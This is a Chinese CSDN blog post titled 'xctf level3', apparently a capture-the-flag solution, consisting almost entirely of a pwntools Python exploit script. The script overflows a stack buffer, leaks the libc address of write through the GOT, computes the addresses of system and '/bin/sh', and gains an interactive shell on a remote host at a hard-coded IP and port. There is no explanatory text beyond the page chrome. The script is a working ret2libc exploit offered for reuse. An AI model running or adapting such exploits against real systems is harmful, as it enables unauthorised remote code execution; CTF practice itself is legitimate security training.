xctf level3

最新推荐文章于 2021-08-16 15:37:16 发布

「已注销」

最新推荐文章于 2021-08-16 15:37:16 发布

阅读量136

点赞数

分类专栏： pwn

本文链接：https://blog.csdn.net/pondzhang/article/details/111084930

版权

pwn 专栏收录该内容

38 篇文章 0 订阅

订阅专栏

from pwn import *

#p = process(['./level3'],env={"LD_PRELOAD":"./libc_32.so.6"})
p = remote("220.249.52.134",36907)
libc = ELF("./libc_32.so.6")

write_plt = 0x08048340
write_got = 0x0804A018
main = 0x0804844B
#p = remote("220.249.52.133",54612)
p.recvuntil('Input:\n')
payload = 'a'*0x88 + p32(0xdeadbeaf) +p32(write_plt) + p32(main) + p32(1) + p32(0x0804A018) + p32(8) 
p.sendline(payload)
write_real = u32(p.recvuntil('\xf7').ljust(4,'\x00'))
log.success(hex(write_real))
write_pos = libc.symbols['write']
libc_base = write_real - write_pos
log.success(hex(libc_base))
system = libc_base + libc.symbols['system']
log.success(hex(system))
binsh = libc_base + libc.search("/bin/sh").next()
p.recvuntil('Input:\n')
#gdb.attach(p)
payload2 = 'a'*0x88 + p32(0xdeadbeaf) + p32(system) + p32(0xdeadbeaf) + p32(binsh)
p.send(payload2)
p.interactive()